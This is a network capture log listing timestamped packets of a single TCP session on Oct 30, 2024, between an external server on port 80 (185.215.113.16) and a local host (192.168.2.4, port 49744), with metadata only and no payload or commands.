Oct 30, 2024 12:36:35.914199114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914216042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914231062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914232016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914247036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914263964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914277077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914292097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914300919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914305925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914321899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914333105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914344072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914360046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914366961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914375067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914390087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914403915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914410114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914418936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914433002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914437056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914452076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914465904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914470911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914489985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914499044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914506912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914522886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914526939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914537907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914554119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914561033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914596081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914628983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914644003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914658070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914673090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914688110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914689064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914704084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914709091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914720058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914735079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914755106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914757967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914773941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914779902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914788961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914813042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914815903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914829969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914844990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914855003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914860964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914880991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914885044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914901018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914915085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914930105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914935112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.914946079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.914953947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915016890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915040970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915043116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915066004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915081024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915081978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915096045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915111065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915127039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915133953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915143013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915158033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915165901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915174007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915178061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915190935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915206909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915215015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915241003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915294886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915352106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915366888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915402889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915404081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915419102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915435076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915437937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915451050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915472031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915505886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915522099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915537119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915553093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915570974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915575981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915591002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915591955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915607929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915615082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915621042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915637016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915642023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915652037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915668011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915673971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915702105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915735006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915750980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915765047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915780067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915803909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915812016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915827036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915834904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915843010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915858030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915863037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915883064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915898085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915899992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915914059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915937901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915951967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915966988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915981054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.915990114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.915997028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916012049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916018963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916028023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916043043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916057110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916071892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916075945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916086912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916101933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916105986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916116953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916127920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916132927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916140079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916148901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916168928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916194916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916209936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916224957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916241884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916249037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916275024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916342020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916356087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916372061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916383028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916403055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916414976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916429996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916445017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916460037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916472912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916484118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916497946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916512966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916520119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916528940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916531086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916543961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916559935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916568041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916593075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916598082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916613102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916627884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916641951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916656971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916657925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916685104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916729927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916743994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916758060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916764021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916774035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916790009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916791916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916821957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916840076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916840076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916863918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916878939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916882038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916894913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916918039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916920900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916935921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916949987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916954041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.916965008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.916986942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.917001963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.917010069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.917016983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.917032003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.917036057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.917047024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.917051077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.917062998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.917104006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.007370949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.007405996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.007441044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.007488012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.025733948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.025799036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.025810003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.025841951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.025886059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.025895119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.025928974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.025979996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026012897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026021004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.026046038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.026047945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026098967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026150942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026180029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026216030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.026227951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026251078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026267052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026299000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026309967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.026316881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026350021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026350975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.026398897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026401043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.026434898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026468992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026519060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026521921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.026568890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.026581049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026614904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026643038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026688099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.026695013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026738882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.026746988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026797056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026834011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026879072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.026885986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026920080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026931047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.026948929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.026995897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027028084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.027045012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027077913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027081966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.027112007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027144909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027187109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.027194977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027240038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.027245998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027296066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027338028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.027367115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027419090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027451992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027479887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.027503967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027549982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.027551889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027585030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027635098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027662039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.027687073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027738094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027782917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.027791977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027839899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.027842999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027879000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027928114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.027964115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.027977943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028011084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028023005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.028060913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028112888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028155088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.028162003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028207064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.028213024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028249025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028280973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028318882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.028333902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028374910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.028383017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028417110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028450012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028492928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.028500080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028532982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028565884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028575897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.028599977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028604984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.028633118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028666019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028712034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.028717995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028752089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028765917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.028805017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028839111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028844118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.028873920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028907061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028928041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.028959036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.028990984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029002905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.029025078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029073000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.029076099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029109955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029143095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029180050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.029192924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029226065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029238939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.029277086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.029309988 CET	80	49744	185.215.113.16	192.168.2.4
